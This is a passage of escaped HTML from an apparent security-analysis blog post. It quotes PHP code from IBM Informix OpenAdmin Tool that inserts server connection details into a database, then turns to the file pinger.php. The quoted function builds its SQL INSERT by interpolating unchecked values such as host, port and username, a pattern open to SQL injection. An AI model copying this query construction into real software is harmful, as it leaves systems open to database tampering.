crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979854f994638509-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979854f994638509-45\">45<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-1\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-2\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">addServerToCache<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">group<\/span><span class=\"crayon-sy\">_<\/span>num<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-3\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">host<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-4\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">port<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-5\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">server<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-6\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">idsprotocol<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-7\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">lat<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-8\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">lon<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-9\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">username<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-10\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">password<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-11\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">cluster<\/span><span class=\"crayon-sy\">_<\/span>id<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-12\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">last<\/span><span class=\"crayon-sy\">_<\/span>type<span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-13\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-14\"><span class=\"crayon-h\">\t\t<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-15\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">password<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">connections<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">encode_password<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">password<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-16\"><span class=\"crayon-h\">\t\t<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-17\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">query<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;INSERT INTO connections&nbsp;&nbsp; &#8220;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-18\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;( group_num&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-19\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;, host&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-20\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;, port&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-21\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;, server&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-22\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;, idsprotocol&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-23\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;, lat&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-24\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;, lon&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-25\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;, username&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-26\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;, password&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-27\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;, cluster_id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-28\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;, last_type )&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-29\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221; VALUES (&nbsp;&nbsp;{$group_num}&nbsp;&nbsp; &#8220;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-30\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;, &#8216;{$host}&#8217;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-31\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;, &#8216;{$port}&#8217;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-32\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;, &#8216;{$server}&#8217;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-33\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;, &#8216;{$idsprotocol}'&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-34\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;,&nbsp;&nbsp;{$lat}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-35\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;,&nbsp;&nbsp;{$lon}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-36\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;, &#8216;{$username}&#8217;&nbsp;&nbsp; &#8220;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-37\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;, &#8216;{$password}&#8217;&nbsp;&nbsp; &#8220;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-38\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;,&nbsp;&nbsp;{$cluster_id}&nbsp;&nbsp;&#8220;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-39\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;,&nbsp;&nbsp;{$last_type} ) &#8220;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-40\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-41\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">doDatabaseWork<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">query<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-42\"><span class=\"crayon-h\">\t&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">db<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">lastInsertId<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-43\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/return sqlite_last_insert_rowid ( $this-&gt;db );<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979854f994638509-44\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979854f994638509-45\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0055 seconds] -->  <\/p>\n<p>The previously empty &#8216;<em>connections<\/em>&#8216; table is populated with one row.<\/p>\n<p>Let&#8217;s look at <em>C:Program Files (x86)IBM Informix Software BundleOATApache_2.2.22htdocsopenadminlibpinger.php<\/em><\/p>\n<p>&#8230;<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5924b59798554789257234\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; 